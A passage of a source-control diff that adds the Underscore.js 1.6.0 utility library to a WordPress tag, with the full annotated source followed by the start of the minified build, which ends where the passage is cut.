+  // values in the array. Aliased as `head` and `take`. The **guard** check
+  // allows it to work with `_.map`.
+  _.first = _.head = _.take = function(array, n, guard) {
+    if (array == null) return void 0;
+    if ((n == null) || guard) return array[0];
+    if (n < 0) return [];
+    return slice.call(array, 0, n);
+  };
+
+  // Returns everything but the last entry of the array. Especially useful on
+  // the arguments object. Passing **n** will return all the values in
+  // the array, excluding the last N. The **guard** check allows it to work with
+  // `_.map`.
+  _.initial = function(array, n, guard) {
+    return slice.call(array, 0, array.length - ((n == null) || guard ? 1 : n));
+  };
+
+  // Get the last element of an array. Passing **n** will return the last N
+  // values in the array. The **guard** check allows it to work with `_.map`.
+  _.last = function(array, n, guard) {
+    if (array == null) return void 0;
+    if ((n == null) || guard) return array[array.length - 1];
+    return slice.call(array, Math.max(array.length - n, 0));
+  };
+
+  // Returns everything but the first entry of the array. Aliased as `tail` and `drop`.
+  // Especially useful on the arguments object. Passing an **n** will return
+  // the rest N values in the array. The **guard**
+  // check allows it to work with `_.map`.
+  _.rest = _.tail = _.drop = function(array, n, guard) {
+    return slice.call(array, (n == null) || guard ? 1 : n);
+  };
+
+  // Trim out all falsy values from an array.
+  _.compact = function(array) {
+    return _.filter(array, _.identity);
+  };
+
+  // Internal implementation of a recursive `flatten` function.
+  var flatten = function(input, shallow, output) {
+    if (shallow && _.every(input, _.isArray)) {
+      return concat.apply(output, input);
+    }
+    each(input, function(value) {
+      if (_.isArray(value) || _.isArguments(value)) {
+        shallow ? push.apply(output, value) : flatten(value, shallow, output);
+      } else {
+        output.push(value);
+      }
+    });
+    return output;
+  };
+
+  // Flatten out an array, either recursively (by default), or just one level.
+  _.flatten = function(array, shallow) {
+    return flatten(array, shallow, []);
+  };
+
+  // Return a version of the array that does not contain the specified value(s).
+  _.without = function(array) {
+    return _.difference(array, slice.call(arguments, 1));
+  };
+
+  // Split an array into two arrays: one whose elements all satisfy the given
+  // predicate, and one whose elements all do not satisfy the predicate.
+  _.partition = function(array, predicate) {
+    var pass = [], fail = [];
+    each(array, function(elem) {
+      (predicate(elem) ? pass : fail).push(elem);
+    });
+    return [pass, fail];
+  };
+
+  // Produce a duplicate-free version of the array. If the array has already
+  // been sorted, you have the option of using a faster algorithm.
+  // Aliased as `unique`.
+  _.uniq = _.unique = function(array, isSorted, iterator, context) {
+    if (_.isFunction(isSorted)) {
+      context = iterator;
+      iterator = isSorted;
+      isSorted = false;
+    }
+    var initial = iterator ? _.map(array, iterator, context) : array;
+    var results = [];
+    var seen = [];
+    each(initial, function(value, index) {
+      if (isSorted ? (!index || seen[seen.length - 1] !== value) : !_.contains(seen, value)) {
+        seen.push(value);
+        results.push(array[index]);
+      }
+    });
+    return results;
+  };
+
+  // Produce an array that contains the union: each distinct element from all of
+  // the passed-in arrays.
+  _.union = function() {
+    return _.uniq(_.flatten(arguments, true));
+  };
+
+  // Produce an array that contains every item shared between all the
+  // passed-in arrays.
+  _.intersection = function(array) {
+    var rest = slice.call(arguments, 1);
+    return _.filter(_.uniq(array), function(item) {
+      return _.every(rest, function(other) {
+        return _.contains(other, item);
+      });
+    });
+  };
+
+  // Take the difference between one array and a number of other arrays.
+  // Only the elements present in just the first array will remain.
+  _.difference = function(array) {
+    var rest = concat.apply(ArrayProto, slice.call(arguments, 1));
+    return _.filter(array, function(value){ return !_.contains(rest, value); });
+  };
+
+  // Zip together multiple lists into a single array -- elements that share
+  // an index go together.
+  _.zip = function() {
+    var length = _.max(_.pluck(arguments, 'length').concat(0));
+    var results = new Array(length);
+    for (var i = 0; i < length; i++) {
+      results[i] = _.pluck(arguments, '' + i);
+    }
+    return results;
+  };
+
+  // Converts lists into objects. Pass either a single array of `[key, value]`
+  // pairs, or two parallel arrays of the same length -- one of keys, and one of
+  // the corresponding values.
+  _.object = function(list, values) {
+    if (list == null) return {};
+    var result = {};
+    for (var i = 0, length = list.length; i < length; i++) {
+      if (values) {
+        result[list[i]] = values[i];
+      } else {
+        result[list[i][0]] = list[i][1];
+      }
+    }
+    return result;
+  };
+
+  // If the browser doesn't supply us with indexOf (I'm looking at you, **MSIE**),
+  // we need this function. Return the position of the first occurrence of an
+  // item in an array, or -1 if the item is not included in the array.
+  // Delegates to **ECMAScript 5**'s native `indexOf` if available.
+  // If the array is large and already in sort order, pass `true`
+  // for **isSorted** to use binary search.
+  _.indexOf = function(array, item, isSorted) {
+    if (array == null) return -1;
+    var i = 0, length = array.length;
+    if (isSorted) {
+      if (typeof isSorted == 'number') {
+        i = (isSorted < 0 ? Math.max(0, length + isSorted) : isSorted);
+      } else {
+        i = _.sortedIndex(array, item);
+        return array[i] === item ? i : -1;
+      }
+    }
+    if (nativeIndexOf && array.indexOf === nativeIndexOf) return array.indexOf(item, isSorted);
+    for (; i < length; i++) if (array[i] === item) return i;
+    return -1;
+  };
+
+  // Delegates to **ECMAScript 5**'s native `lastIndexOf` if available.
+  _.lastIndexOf = function(array, item, from) {
+    if (array == null) return -1;
+    var hasIndex = from != null;
+    if (nativeLastIndexOf && array.lastIndexOf === nativeLastIndexOf) {
+      return hasIndex ? array.lastIndexOf(item, from) : array.lastIndexOf(item);
+    }
+    var i = (hasIndex ? from : array.length);
+    while (i--) if (array[i] === item) return i;
+    return -1;
+  };
+
+  // Generate an integer Array containing an arithmetic progression. A port of
+  // the native Python `range()` function. See
+  // [the Python documentation](http://docs.python.org/library/functions.html#range).
+  _.range = function(start, stop, step) {
+    if (arguments.length <= 1) {
+      stop = start || 0;
+      start = 0;
+    }
+    step = arguments[2] || 1;
+
+    var length = Math.max(Math.ceil((stop - start) / step), 0);
+    var idx = 0;
+    var range = new Array(length);
+
+    while(idx < length) {
+      range[idx++] = start;
+      start += step;
+    }
+
+    return range;
+  };
+
+  // Function (ahem) Functions
+  // ------------------
+
+  // Reusable constructor function for prototype setting.
+  var ctor = function(){};
+
+  // Create a function bound to a given object (assigning `this`, and arguments,
+  // optionally). Delegates to **ECMAScript 5**'s native `Function.bind` if
+  // available.
+  _.bind = function(func, context) {
+    var args, bound;
+    if (nativeBind && func.bind === nativeBind) return nativeBind.apply(func, slice.call(arguments, 1));
+    if (!_.isFunction(func)) throw new TypeError;
+    args = slice.call(arguments, 2);
+    return bound = function() {
+      if (!(this instanceof bound)) return func.apply(context, args.concat(slice.call(arguments)));
+      ctor.prototype = func.prototype;
+      var self = new ctor;
+      ctor.prototype = null;
+      var result = func.apply(self, args.concat(slice.call(arguments)));
+      if (Object(result) === result) return result;
+      return self;
+    };
+  };
+
+  // Partially apply a function by creating a version that has had some of its
+  // arguments pre-filled, without changing its dynamic `this` context. _ acts
+  // as a placeholder, allowing any combination of arguments to be pre-filled.
+  _.partial = function(func) {
+    var boundArgs = slice.call(arguments, 1);
+    return function() {
+      var position = 0;
+      var args = boundArgs.slice();
+      for (var i = 0, length = args.length; i < length; i++) {
+        if (args[i] === _) args[i] = arguments[position++];
+      }
+      while (position < arguments.length) args.push(arguments[position++]);
+      return func.apply(this, args);
+    };
+  };
+
+  // Bind a number of an object's methods to that object. Remaining arguments
+  // are the method names to be bound. Useful for ensuring that all callbacks
+  // defined on an object belong to it.
+  _.bindAll = function(obj) {
+    var funcs = slice.call(arguments, 1);
+    if (funcs.length === 0) throw new Error('bindAll must be passed function names');
+    each(funcs, function(f) { obj[f] = _.bind(obj[f], obj); });
+    return obj;
+  };
+
+  // Memoize an expensive function by storing its results.
+  _.memoize = function(func, hasher) {
+    var memo = {};
+    hasher || (hasher = _.identity);
+    return function() {
+      var key = hasher.apply(this, arguments);
+      return _.has(memo, key) ? memo[key] : (memo[key] = func.apply(this, arguments));
+    };
+  };
+
+  // Delays a function for the given number of milliseconds, and then calls
+  // it with the arguments supplied.
+  _.delay = function(func, wait) {
+    var args = slice.call(arguments, 2);
+    return setTimeout(function(){ return func.apply(null, args); }, wait);
+  };
+
+  // Defers a function, scheduling it to run after the current call stack has
+  // cleared.
+  _.defer = function(func) {
+    return _.delay.apply(_, [func, 1].concat(slice.call(arguments, 1)));
+  };
+
+  // Returns a function, that, when invoked, will only be triggered at most once
+  // during a given window of time. Normally, the throttled function will run
+  // as much as it can, without ever going more than once per `wait` duration;
+  // but if you'd like to disable the execution on the leading edge, pass
+  // `{leading: false}`. To disable execution on the trailing edge, ditto.
+  _.throttle = function(func, wait, options) {
+    var context, args, result;
+    var timeout = null;
+    var previous = 0;
+    options || (options = {});
+    var later = function() {
+      previous = options.leading === false ? 0 : _.now();
+      timeout = null;
+      result = func.apply(context, args);
+      context = args = null;
+    };
+    return function() {
+      var now = _.now();
+      if (!previous && options.leading === false) previous = now;
+      var remaining = wait - (now - previous);
+      context = this;
+      args = arguments;
+      if (remaining <= 0) {
+        clearTimeout(timeout);
+        timeout = null;
+        previous = now;
+        result = func.apply(context, args);
+        context = args = null;
+      } else if (!timeout && options.trailing !== false) {
+        timeout = setTimeout(later, remaining);
+      }
+      return result;
+    };
+  };
+
+  // Returns a function, that, as long as it continues to be invoked, will not
+  // be triggered. The function will be called after it stops being called for
+  // N milliseconds. If `immediate` is passed, trigger the function on the
+  // leading edge, instead of the trailing.
+  _.debounce = function(func, wait, immediate) {
+    var timeout, args, context, timestamp, result;
+
+    var later = function() {
+      var last = _.now() - timestamp;
+      if (last < wait) {
+        timeout = setTimeout(later, wait - last);
+      } else {
+        timeout = null;
+        if (!immediate) {
+          result = func.apply(context, args);
+          context = args = null;
+        }
+      }
+    };
+
+    return function() {
+      context = this;
+      args = arguments;
+      timestamp = _.now();
+      var callNow = immediate && !timeout;
+      if (!timeout) {
+        timeout = setTimeout(later, wait);
+      }
+      if (callNow) {
+        result = func.apply(context, args);
+        context = args = null;
+      }
+
+      return result;
+    };
+  };
+
+  // Returns a function that will be executed at most one time, no matter how
+  // often you call it. Useful for lazy initialization.
+  _.once = function(func) {
+    var ran = false, memo;
+    return function() {
+      if (ran) return memo;
+      ran = true;
+      memo = func.apply(this, arguments);
+      func = null;
+      return memo;
+    };
+  };
+
+  // Returns the first function passed as an argument to the second,
+  // allowing you to adjust arguments, run code before and after, and
+  // conditionally execute the original function.
+  _.wrap = function(func, wrapper) {
+    return _.partial(wrapper, func);
+  };
+
+  // Returns a function that is the composition of a list of functions, each
+  // consuming the return value of the function that follows.
+  _.compose = function() {
+    var funcs = arguments;
+    return function() {
+      var args = arguments;
+      for (var i = funcs.length - 1; i >= 0; i--) {
+        args = [funcs[i].apply(this, args)];
+      }
+      return args[0];
+    };
+  };
+
+  // Returns a function that will only be executed after being called N times.
+  _.after = function(times, func) {
+    return function() {
+      if (--times < 1) {
+        return func.apply(this, arguments);
+      }
+    };
+  };
+
+  // Object Functions
+  // ----------------
+
+  // Retrieve the names of an object's properties.
+  // Delegates to **ECMAScript 5**'s native `Object.keys`
+  _.keys = function(obj) {
+    if (!_.isObject(obj)) return [];
+    if (nativeKeys) return nativeKeys(obj);
+    var keys = [];
+    for (var key in obj) if (_.has(obj, key)) keys.push(key);
+    return keys;
+  };
+
+  // Retrieve the values of an object's properties.
+  _.values = function(obj) {
+    var keys = _.keys(obj);
+    var length = keys.length;
+    var values = new Array(length);
+    for (var i = 0; i < length; i++) {
+      values[i] = obj[keys[i]];
+    }
+    return values;
+  };
+
+  // Convert an object into a list of `[key, value]` pairs.
+  _.pairs = function(obj) {
+    var keys = _.keys(obj);
+    var length = keys.length;
+    var pairs = new Array(length);
+    for (var i = 0; i < length; i++) {
+      pairs[i] = [keys[i], obj[keys[i]]];
+    }
+    return pairs;
+  };
+
+  // Invert the keys and values of an object. The values must be serializable.
+  _.invert = function(obj) {
+    var result = {};
+    var keys = _.keys(obj);
+    for (var i = 0, length = keys.length; i < length; i++) {
+      result[obj[keys[i]]] = keys[i];
+    }
+    return result;
+  };
+
+  // Return a sorted list of the function names available on the object.
+  // Aliased as `methods`
+  _.functions = _.methods = function(obj) {
+    var names = [];
+    for (var key in obj) {
+      if (_.isFunction(obj[key])) names.push(key);
+    }
+    return names.sort();
+  };
+
+  // Extend a given object with all the properties in passed-in object(s).
+  _.extend = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      if (source) {
+        for (var prop in source) {
+          obj[prop] = source[prop];
+        }
+      }
+    });
+    return obj;
+  };
+
+  // Return a copy of the object only containing the whitelisted properties.
+  _.pick = function(obj) {
+    var copy = {};
+    var keys = concat.apply(ArrayProto, slice.call(arguments, 1));
+    each(keys, function(key) {
+      if (key in obj) copy[key] = obj[key];
+    });
+    return copy;
+  };
+
+   // Return a copy of the object without the blacklisted properties.
+  _.omit = function(obj) {
+    var copy = {};
+    var keys = concat.apply(ArrayProto, slice.call(arguments, 1));
+    for (var key in obj) {
+      if (!_.contains(keys, key)) copy[key] = obj[key];
+    }
+    return copy;
+  };
+
+  // Fill in a given object with default properties.
+  _.defaults = function(obj) {
+    each(slice.call(arguments, 1), function(source) {
+      if (source) {
+        for (var prop in source) {
+          if (obj[prop] === void 0) obj[prop] = source[prop];
+        }
+      }
+    });
+    return obj;
+  };
+
+  // Create a (shallow-cloned) duplicate of an object.
+  _.clone = function(obj) {
+    if (!_.isObject(obj)) return obj;
+    return _.isArray(obj) ? obj.slice() : _.extend({}, obj);
+  };
+
+  // Invokes interceptor with the obj, and then returns obj.
+  // The primary purpose of this method is to "tap into" a method chain, in
+  // order to perform operations on intermediate results within the chain.
+  _.tap = function(obj, interceptor) {
+    interceptor(obj);
+    return obj;
+  };
+
+  // Internal recursive comparison function for `isEqual`.
+  var eq = function(a, b, aStack, bStack) {
+    // Identical objects are equal. `0 === -0`, but they aren't identical.
+    // See the [Harmony `egal` proposal](http://wiki.ecmascript.org/doku.php?id=harmony:egal).
+    if (a === b) return a !== 0 || 1 / a == 1 / b;
+    // A strict comparison is necessary because `null == undefined`.
+    if (a == null || b == null) return a === b;
+    // Unwrap any wrapped objects.
+    if (a instanceof _) a = a._wrapped;
+    if (b instanceof _) b = b._wrapped;
+    // Compare `[[Class]]` names.
+    var className = toString.call(a);
+    if (className != toString.call(b)) return false;
+    switch (className) {
+      // Strings, numbers, dates, and booleans are compared by value.
+      case '[object String]':
+        // Primitives and their corresponding object wrappers are equivalent; thus, `"5"` is
+        // equivalent to `new String("5")`.
+        return a == String(b);
+      case '[object Number]':
+        // `NaN`s are equivalent, but non-reflexive. An `egal` comparison is performed for
+        // other numeric values.
+        return a != +a ? b != +b : (a == 0 ? 1 / a == 1 / b : a == +b);
+      case '[object Date]':
+      case '[object Boolean]':
+        // Coerce dates and booleans to numeric primitive values. Dates are compared by their
+        // millisecond representations. Note that invalid dates with millisecond representations
+        // of `NaN` are not equivalent.
+        return +a == +b;
+      // RegExps are compared by their source patterns and flags.
+      case '[object RegExp]':
+        return a.source == b.source &&
+               a.global == b.global &&
+               a.multiline == b.multiline &&
+               a.ignoreCase == b.ignoreCase;
+    }
+    if (typeof a != 'object' || typeof b != 'object') return false;
+    // Assume equality for cyclic structures. The algorithm for detecting cyclic
+    // structures is adapted from ES 5.1 section 15.12.3, abstract operation `JO`.
+    var length = aStack.length;
+    while (length--) {
+      // Linear search. Performance is inversely proportional to the number of
+      // unique nested structures.
+      if (aStack[length] == a) return bStack[length] == b;
+    }
+    // Objects with different constructors are not equivalent, but `Object`s
+    // from different frames are.
+    var aCtor = a.constructor, bCtor = b.constructor;
+    if (aCtor !== bCtor && !(_.isFunction(aCtor) && (aCtor instanceof aCtor) &&
+                             _.isFunction(bCtor) && (bCtor instanceof bCtor))
+                        && ('constructor' in a && 'constructor' in b)) {
+      return false;
+    }
+    // Add the first object to the stack of traversed objects.
+    aStack.push(a);
+    bStack.push(b);
+    var size = 0, result = true;
+    // Recursively compare objects and arrays.
+    if (className == '[object Array]') {
+      // Compare array lengths to determine if a deep comparison is necessary.
+      size = a.length;
+      result = size == b.length;
+      if (result) {
+        // Deep compare the contents, ignoring non-numeric properties.
+        while (size--) {
+          if (!(result = eq(a[size], b[size], aStack, bStack))) break;
+        }
+      }
+    } else {
+      // Deep compare objects.
+      for (var key in a) {
+        if (_.has(a, key)) {
+          // Count the expected number of properties.
+          size++;
+          // Deep compare each member.
+          if (!(result = _.has(b, key) && eq(a[key], b[key], aStack, bStack))) break;
+        }
+      }
+      // Ensure that both objects contain the same number of properties.
+      if (result) {
+        for (key in b) {
+          if (_.has(b, key) && !(size--)) break;
+        }
+        result = !size;
+      }
+    }
+    // Remove the first object from the stack of traversed objects.
+    aStack.pop();
+    bStack.pop();
+    return result;
+  };
+
+  // Perform a deep comparison to check if two objects are equal.
+  _.isEqual = function(a, b) {
+    return eq(a, b, [], []);
+  };
+
+  // Is a given array, string, or object empty?
+  // An "empty" object has no enumerable own-properties.
+  _.isEmpty = function(obj) {
+    if (obj == null) return true;
+    if (_.isArray(obj) || _.isString(obj)) return obj.length === 0;
+    for (var key in obj) if (_.has(obj, key)) return false;
+    return true;
+  };
+
+  // Is a given value a DOM element?
+  _.isElement = function(obj) {
+    return !!(obj && obj.nodeType === 1);
+  };
+
+  // Is a given value an array?
+  // Delegates to ECMA5's native Array.isArray
+  _.isArray = nativeIsArray || function(obj) {
+    return toString.call(obj) == '[object Array]';
+  };
+
+  // Is a given variable an object?
+  _.isObject = function(obj) {
+    return obj === Object(obj);
+  };
+
+  // Add some isType methods: isArguments, isFunction, isString, isNumber, isDate, isRegExp.
+  each(['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp'], function(name) {
+    _['is' + name] = function(obj) {
+      return toString.call(obj) == '[object ' + name + ']';
+    };
+  });
+
+  // Define a fallback version of the method in browsers (ahem, IE), where
+  // there isn't any inspectable "Arguments" type.
+  if (!_.isArguments(arguments)) {
+    _.isArguments = function(obj) {
+      return !!(obj && _.has(obj, 'callee'));
+    };
+  }
+
+  // Optimize `isFunction` if appropriate.
+  if (typeof (/./) !== 'function') {
+    _.isFunction = function(obj) {
+      return typeof obj === 'function';
+    };
+  }
+
+  // Is a given object a finite number?
+  _.isFinite = function(obj) {
+    return isFinite(obj) && !isNaN(parseFloat(obj));
+  };
+
+  // Is the given value `NaN`? (NaN is the only number which does not equal itself).
+  _.isNaN = function(obj) {
+    return _.isNumber(obj) && obj != +obj;
+  };
+
+  // Is a given value a boolean?
+  _.isBoolean = function(obj) {
+    return obj === true || obj === false || toString.call(obj) == '[object Boolean]';
+  };
+
+  // Is a given value equal to null?
+  _.isNull = function(obj) {
+    return obj === null;
+  };
+
+  // Is a given variable undefined?
+  _.isUndefined = function(obj) {
+    return obj === void 0;
+  };
+
+  // Shortcut function for checking if an object has a given property directly
+  // on itself (in other words, not on a prototype).
+  _.has = function(obj, key) {
+    return hasOwnProperty.call(obj, key);
+  };
+
+  // Utility Functions
+  // -----------------
+
+  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
+  // previous owner. Returns a reference to the Underscore object.
+  _.noConflict = function() {
+    root._ = previousUnderscore;
+    return this;
+  };
+
+  // Keep the identity function around for default iterators.
+  _.identity = function(value) {
+    return value;
+  };
+
+  _.constant = function(value) {
+    return function () {
+      return value;
+    };
+  };
+
+  _.property = function(key) {
+    return function(obj) {
+      return obj[key];
+    };
+  };
+
+  // Returns a predicate for checking whether an object has a given set of `key:value` pairs.
+  _.matches = function(attrs) {
+    return function(obj) {
+      if (obj === attrs) return true; //avoid comparing an object to itself.
+      for (var key in attrs) {
+        if (attrs[key] !== obj[key])
+          return false;
+      }
+      return true;
+    }
+  };
+
+  // Run a function **n** times.
+  _.times = function(n, iterator, context) {
+    var accum = Array(Math.max(0, n));
+    for (var i = 0; i < n; i++) accum[i] = iterator.call(context, i);
+    return accum;
+  };
+
+  // Return a random integer between min and max (inclusive).
+  _.random = function(min, max) {
+    if (max == null) {
+      max = min;
+      min = 0;
+    }
+    return min + Math.floor(Math.random() * (max - min + 1));
+  };
+
+  // A (possibly faster) way to get the current timestamp as an integer.
+  _.now = Date.now || function() { return new Date().getTime(); };
+
+  // List of HTML entities for escaping.
+  var entityMap = {
+    escape: {
+      '&': '&amp;',
+      '<': '&lt;',
+      '>': '&gt;',
+      '"': '&quot;',
+      "'": '&#x27;'
+    }
+  };
+  entityMap.unescape = _.invert(entityMap.escape);
+
+  // Regexes containing the keys and values listed immediately above.
+  var entityRegexes = {
+    escape:   new RegExp('[' + _.keys(entityMap.escape).join('') + ']', 'g'),
+    unescape: new RegExp('(' + _.keys(entityMap.unescape).join('|') + ')', 'g')
+  };
+
+  // Functions for escaping and unescaping strings to/from HTML interpolation.
+  _.each(['escape', 'unescape'], function(method) {
+    _[method] = function(string) {
+      if (string == null) return '';
+      return ('' + string).replace(entityRegexes[method], function(match) {
+        return entityMap[method][match];
+      });
+    };
+  });
+
+  // If the value of the named `property` is a function then invoke it with the
+  // `object` as context; otherwise, return it.
+  _.result = function(object, property) {
+    if (object == null) return void 0;
+    var value = object[property];
+    return _.isFunction(value) ? value.call(object) : value;
+  };
+
+  // Add your own custom functions to the Underscore object.
+  _.mixin = function(obj) {
+    each(_.functions(obj), function(name) {
+      var func = _[name] = obj[name];
+      _.prototype[name] = function() {
+        var args = [this._wrapped];
+        push.apply(args, arguments);
+        return result.call(this, func.apply(_, args));
+      };
+    });
+  };
+
+  // Generate a unique integer id (unique within the entire client session).
+  // Useful for temporary DOM ids.
+  var idCounter = 0;
+  _.uniqueId = function(prefix) {
+    var id = ++idCounter + '';
+    return prefix ? prefix + id : id;
+  };
+
+  // By default, Underscore uses ERB-style template delimiters, change the
+  // following template settings to use alternative delimiters.
+  _.templateSettings = {
+    evaluate    : /<%([\s\S]+?)%>/g,
+    interpolate : /<%=([\s\S]+?)%>/g,
+    escape      : /<%-([\s\S]+?)%>/g
+  };
+
+  // When customizing `templateSettings`, if you don't want to define an
+  // interpolation, evaluation or escaping regex, we need one that is
+  // guaranteed not to match.
+  var noMatch = /(.)^/;
+
+  // Certain characters need to be escaped so that they can be put into a
+  // string literal.
+  var escapes = {
+    "'":      "'",
+    '\\':     '\\',
+    '\r':     'r',
+    '\n':     'n',
+    '\t':     't',
+    '\u2028': 'u2028',
+    '\u2029': 'u2029'
+  };
+
+  var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
+
+  // JavaScript micro-templating, similar to John Resig's implementation.
+  // Underscore templating handles arbitrary delimiters, preserves whitespace,
+  // and correctly escapes quotes within interpolated code.
+  _.template = function(text, data, settings) {
+    var render;
+    settings = _.defaults({}, settings, _.templateSettings);
+
+    // Combine delimiters into one regular expression via alternation.
+    var matcher = new RegExp([
+      (settings.escape || noMatch).source,
+      (settings.interpolate || noMatch).source,
+      (settings.evaluate || noMatch).source
+    ].join('|') + '|$', 'g');
+
+    // Compile the template source, escaping string literals appropriately.
+    var index = 0;
+    var source = "__p+='";
+    text.replace(matcher, function(match, escape, interpolate, evaluate, offset) {
+      source += text.slice(index, offset)
+        .replace(escaper, function(match) { return '\\' + escapes[match]; });
+
+      if (escape) {
+        source += "'+\n((__t=(" + escape + "))==null?'':_.escape(__t))+\n'";
+      }
+      if (interpolate) {
+        source += "'+\n((__t=(" + interpolate + "))==null?'':__t)+\n'";
+      }
+      if (evaluate) {
+        source += "';\n" + evaluate + "\n__p+='";
+      }
+      index = offset + match.length;
+      return match;
+    });
+    source += "';\n";
+
+    // If a variable is not specified, place data values in local scope.
+    if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
+
+    source = "var __t,__p='',__j=Array.prototype.join," +
+      "print=function(){__p+=__j.call(arguments,'');};\n" +
+      source + "return __p;\n";
+
+    try {
+      render = new Function(settings.variable || 'obj', '_', source);
+    } catch (e) {
+      e.source = source;
+      throw e;
+    }
+
+    if (data) return render(data, _);
+    var template = function(data) {
+      return render.call(this, data, _);
+    };
+
+    // Provide the compiled function source as a convenience for precompilation.
+    template.source = 'function(' + (settings.variable || 'obj') + '){\n' + source + '}';
+
+    return template;
+  };
+
+  // Add a "chain" function, which will delegate to the wrapper.
+  _.chain = function(obj) {
+    return _(obj).chain();
+  };
+
+  // OOP
+  // ---------------
+  // If Underscore is called as a function, it returns a wrapped object that
+  // can be used OO-style. This wrapper holds altered versions of all the
+  // underscore functions. Wrapped objects may be chained.
+
+  // Helper function to continue chaining intermediate results.
+  var result = function(obj) {
+    return this._chain ? _(obj).chain() : obj;
+  };
+
+  // Add all of the Underscore functions to the wrapper object.
+  _.mixin(_);
+
+  // Add all mutator Array functions to the wrapper.
+  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
+    var method = ArrayProto[name];
+    _.prototype[name] = function() {
+      var obj = this._wrapped;
+      method.apply(obj, arguments);
+      if ((name == 'shift' || name == 'splice') && obj.length === 0) delete obj[0];
+      return result.call(this, obj);
+    };
+  });
+
+  // Add all accessor Array functions to the wrapper.
+  each(['concat', 'join', 'slice'], function(name) {
+    var method = ArrayProto[name];
+    _.prototype[name] = function() {
+      return result.call(this, method.apply(this._wrapped, arguments));
+    };
+  });
+
+  _.extend(_.prototype, {
+
+    // Start chaining a wrapped Underscore object.
+    chain: function() {
+      this._chain = true;
+      return this;
+    },
+
+    // Extracts the result from a wrapped and chained object.
+    value: function() {
+      return this._wrapped;
+    }
+
+  });
+
+  // AMD registration happens at the end for compatibility with AMD loaders
+  // that may not enforce next-turn semantics on modules. Even though general
+  // practice for AMD registration is to be anonymous, underscore registers
+  // as a named module because, like jQuery, it is a base library that is
+  // popular enough to be bundled in a third party lib, but not be part of
+  // an AMD load request. Those cases could generate an error when an
+  // anonymous define() is called outside of a loader request.
+  if (typeof define === 'function' && define.amd) {
+    define('underscore', [], function() {
+      return _;
+    });
+  }
+}).call(this);
Index: /tags/4.1.6/src/wp-includes/js/underscore.min.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/underscore.min.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/underscore.min.js	(revision 33402)
@@ -0,0 +1,6 @@
+//     Underscore.js 1.6.0
+//     http://underscorejs.org
+//     (c) 2009-2014 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
+//     Underscore may be freely distributed under the MIT license.
+(function(){var n=this,t=n._,r={},e=Array.prototype,u=Object.prototype,i=Function.prototype,a=e.push,o=e.slice,c=e.concat,l=u.toString,f=u.hasOwnProperty,s=e.forEach,p=e.map,h=e.reduce,v=e.reduceRight,g=e.filter,d=e.every,m=e.some,y=e.indexOf,b=e.lastIndexOf,x=Array.isArray,w=Object.keys,_=i.bind,j=function(n){return n instanceof j?n:this instanceof j?void(this._wrapped=n):new j(n)};"undefined"!=typeof exports?("undefined"!=typeof module&&module.exports&&(exports=module.exports=j),exports._=j):n._=j,j.VERSION="1.6.0";var A=j.each=j.forEach=function(n,t,e){if(null==n)return n;if(s&&n.forEach===s)n.forEach(t,e);else if(n.length===+n.length){for(var u=0,i=n.length;i>u;u++)if(t.call(e,n[u],u,n)===r)return}else for(var a=j.keys(n),u=0,i=a.length;i>u;u++)if(t.call(e,n[a[u]],a[u],n)===r)return;return n};j.map=j.collect=function(n,t,r){var e=[];return null==n?e:p&&n.map===p?n.map(t,r):(A(n,function(n,u,i){e.push(t.call(r,n,u,i))}),e)};var O="Reduce of empty array with no initial value";j.reduce=j.foldl=j.inject=function(n,t,r,e){var u=arguments.length>2;if(null==n&&(n=[]),h&&n.reduce===h)return e&&(t=j.bind(t,e)),u?n.reduce(t,r):n.reduce(t);if(A(n,function(n,i,a){u?r=t.call(e,r,n,i,a):(r=n,u=!0)}),!u)throw new TypeError(O);return r},j.reduceRight=j.foldr=function(n,t,r,e){var u=arguments.length>2;if(null==n&&(n=[]),v&&n.reduceRight===v)return e&&(t=j.bind(t,e)),u?n.reduceRight(t,r):n.reduceRight(t);var i=n.length;if(i!==+i){var a=j.keys(n);i=a.length}if(A(n,function(o,c,l){c=a?a[--i]:--i,u?r=t.call(e,r,n[c],c,l):(r=n[c],u=!0)}),!u)throw new TypeError(O);return r},j.find=j.detect=function(n,t,r){var e;return k(n,function(n,u,i){return t.call(r,n,u,i)?(e=n,!0):void 0}),e},j.filter=j.select=function(n,t,r){var e=[];return null==n?e:g&&n.filter===g?n.filter(t,r):(A(n,function(n,u,i){t.call(r,n,u,i)&&e.push(n)}),e)},j.reject=function(n,t,r){return j.filter(n,function(n,e,u){return!t.call(r,n,e,u)},r)},j.every=j.all=function(n,t,e){t||(t=j.identity);var u=!0;return null==n?u:d&&n.every===d?n.every(t,e):(A(n,function(n,i,a){return(u=u&&t.call(e,n,i,a))?void 0:r}),!!u)};var k=j.some=j.any=function(n,t,e){t||(t=j.identity);var u=!1;return null==n?u:m&&n.some===m?n.some(t,e):(A(n,function(n,i,a){return u||(u=t.call(e,n,i,a))?r:void 0}),!!u)};j.contains=j.include=function(n,t){return null==n?!1:y&&n.indexOf===y?n.indexOf(t)!=-1:k(n,function(n){return n===t})},j.invoke=function(n,t){var r=o.call(arguments,2),e=j.isFunction(t);return j.map(n,function(n){return(e?t:n[t]).apply(n,r)})},j.pluck=function(n,t){return j.map(n,j.property(t))},j.where=function(n,t){return j.filter(n,j.matches(t))},j.findWhere=function(n,t){return j.find(n,j.matches(t))},j.max=function(n,t,r){if(!t&&j.isArray(n)&&n[0]===+n[0]&&n.length<65535)return Math.max.apply(Math,n);var e=-1/0,u=-1/0;return A(n,function(n,i,a){var o=t?t.call(r,n,i,a):n;o>u&&(e=n,u=o)}),e},j.min=function(n,t,r){if(!t&&j.isArray(n)&&n[0]===+n[0]&&n.length<65535)return Math.min.apply(Math,n);var e=1/0,u=1/0;return A(n,function(n,i,a){var o=t?t.call(r,n,i,a):n;u>o&&(e=n,u=o)}),e},j.shuffle=function(n){var t,r=0,e=[];return A(n,function(n){t=j.random(r++),e[r-1]=e[t],e[t]=n}),e},j.sample=function(n,t,r){return null==t||r?(n.length!==+n.length&&(n=j.values(n)),n[j.random(n.length-1)]):j.shuffle(n).slice(0,Math.max(0,t))};var 